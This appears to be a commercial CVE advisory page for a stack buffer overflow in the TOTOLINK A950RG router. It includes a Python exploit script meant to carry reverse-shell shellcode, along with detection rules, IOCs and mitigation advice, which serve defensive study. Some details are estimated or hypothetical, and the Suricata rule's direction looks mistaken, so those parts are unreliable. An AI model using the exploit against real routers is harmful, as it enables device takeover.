CVE-2025-67187
Executive Summary
CVE-2025-67187 is a critical stack-based buffer overflow vulnerability discovered in the TOTOLINK A950RG router, specifically in firmware version 4.1.2cu.5204_B20210112. The flaw resides in the setIpQosRules interface within /lib/cste_modules/firewall.so. The comment parameter is not properly validated for length, allowing an attacker to overflow a stack buffer and achieve arbitrary code execution. This vulnerability is remotely exploitable without authentication, making it a severe threat to network security. No official patch has been released, and proof-of-concept (PoC) code is publicly available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Vulnerability affects only the router.
- Confidentiality Impact: High (C:H) – Full device compromise.
- Integrity Impact: High (I:H) – Attacker can modify firmware or data.
- Availability Impact: High (A:H) – Denial of service possible.
Threat Level: Critical. The vulnerability is trivial to exploit and can lead to full device takeover, enabling lateral movement within the network.
Deep Dive & Mechanics
The vulnerability is a classic stack-based buffer overflow in the setIpQosRules function of the firewall.so module. The function copies the user-supplied comment parameter into a fixed-size stack buffer without checking its length. When the input exceeds the buffer size, it overwrites adjacent stack memory, including the return address.
Technical Details:
- Vulnerable Function:
setIpQosRulesin/lib/cste_modules/firewall.so - Vulnerable Parameter:
comment - Buffer Size: Approximately 256 bytes (estimated from reverse engineering)
- Overflow Mechanism:
strcpyor similar unsafe function copies user input into a stack buffer. - Exploitation: By sending a crafted HTTP POST request to the router's web interface with an overly long
commentparameter, an attacker can overwrite the return address and redirect execution to shellcode.
Attack Flow:
- Attacker sends a POST request to
/cgi-bin/luci/;stok=/localeor similar endpoint. - The request includes a
commentparameter with a payload exceeding the buffer size. - The payload overwrites the stack, including the return address.
- Upon function return, execution jumps to attacker-controlled shellcode.
- Shellcode executes, providing a reverse shell or other malicious actions.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the only reference. The following is a simplified representation of the vulnerable function:
Vulnerable Code (pseudo-C):
void setIpQosRules(struct request *req) {
char buffer[256];
char *comment = get_param(req, "comment");
// No length check
strcpy(buffer, comment);
// Process buffer...
}
Patched Code (hypothetical):
void setIpQosRules(struct request *req) {
char buffer[256];
char *comment = get_param(req, "comment");
// Safe copy with length limit
strncpy(buffer, comment, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
// Process buffer...
}
The patched version uses strncpy to limit the copy length, preventing overflow.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- TOTOLINK A950RG router with firmware 4.1.2cu.5204_B20210112
- Network access to the router's web interface (default IP: 192.168.0.1)
- Python 3 with
requestslibrary
Exploit Script (Python):
import requests
import struct
target_ip = "192.168.0.1"
# Shellcode placeholder (e.g., reverse shell)
shellcode = b"\x90" * 100 # NOP sled + actual shellcode
# Overflow offset to return address (adjust based on reverse engineering)
offset = 256 + 8 # buffer + saved frame pointer
payload = b"A" * offset + struct.pack("<I", 0xdeadbeef) # overwrite return address
# HTTP POST request
url = f"http://{target_ip}/cgi-bin/luci/;stok=/locale"
data = {"comment": payload + shellcode}
try:
r = requests.post(url, data=data, timeout=5)
print("Exploit sent")
except Exception as e:
print(f"Error: {e}")
Usage:
- Replace
shellcodewith actual shellcode (e.g., Metasploitlinux/mipsle/shell_reverse_tcp). - Adjust the offset and return address based on your router's firmware.
- Run the script. If successful, you will receive a reverse shell.
Blue Team (Detection & Defense)
Detection:
- Monitor for HTTP POST requests with excessively long
commentparameters. - Look for anomalous patterns in router logs (e.g., crashes, unexpected reboots).
- Use network intrusion detection systems (NIDS) to flag oversized payloads.
Defense:
- Isolate the router on a separate VLAN.
- Disable remote management if not needed.
- Apply virtual patching via a web application firewall (WAF) to block long
commentparameters. - Monitor for firmware updates from TOTOLINK.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/cgi-bin/luci/;stok=/localewithcommentparameter > 256 bytes. - Outbound connections from the router to unknown IPs on high ports (e.g., 4444).
- Unusual DNS queries from the router.
- HTTP POST requests to
Host IOCs:
- Router logs showing segmentation faults or crashes.
- Modified firmware or unexpected processes running.
- Presence of shellcode in memory (detectable via memory forensics).
File IOCs:
/lib/cste_modules/firewall.sowith unexpected modifications.- New files in
/tmpor/vardirectories.
Detection Engineering
YARA Rule
rule CVE_2025_67187_TOTOLINK_Overflow {
meta:
description = "Detects exploit attempts for CVE-2025-67187 in HTTP traffic"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67187"
strings:
$http_post = "POST /cgi-bin/luci/;stok=/locale" ascii
$comment_param = "comment=" ascii
$long_string = /comment=[A-Za-z0-9%]{300,}/ ascii
condition:
$http_post and $comment_param and $long_string
}
Sigma Rule
title: TOTOLINK A950RG Buffer Overflow Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests with overly long comment parameter targeting TOTOLINK A950RG
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/cgi-bin/luci/;stok=/locale'
cs-uri-query|contains: 'comment='
cs-uri-query|length: >= 300
condition: selection
falsepositives:
- Legitimate long comments (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-67187 TOTOLINK A950RG Buffer Overflow Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/luci/;stok=/locale"; http_uri;
content:"comment="; http_client_body;
pcre:"/comment=[A-Za-z0-9%]{300,}/Ri";
sid:1000001;
rev:1;
reference:cve,2025-67187;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the device: Place the TOTOLINK A950RG on a separate VLAN with restricted access.
- Disable remote management: Turn off WAN-side administration.
- Apply virtual patching: Use a WAF or IPS to block requests with
commentparameters exceeding 256 bytes. - Monitor logs: Enable logging and review for exploitation attempts.
Long-Term Fix:
- Firmware update: Await an official patch from TOTOLINK. If none is released, consider replacing the router with a supported model.
- Network segmentation: Implement strict firewall rules to limit exposure.
- Regular audits: Periodically check for firmware updates and apply them promptly.
Workaround:
- If patching is not possible, block HTTP POST requests to
/cgi-bin/luci/;stok=/localeat the network perimeter.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.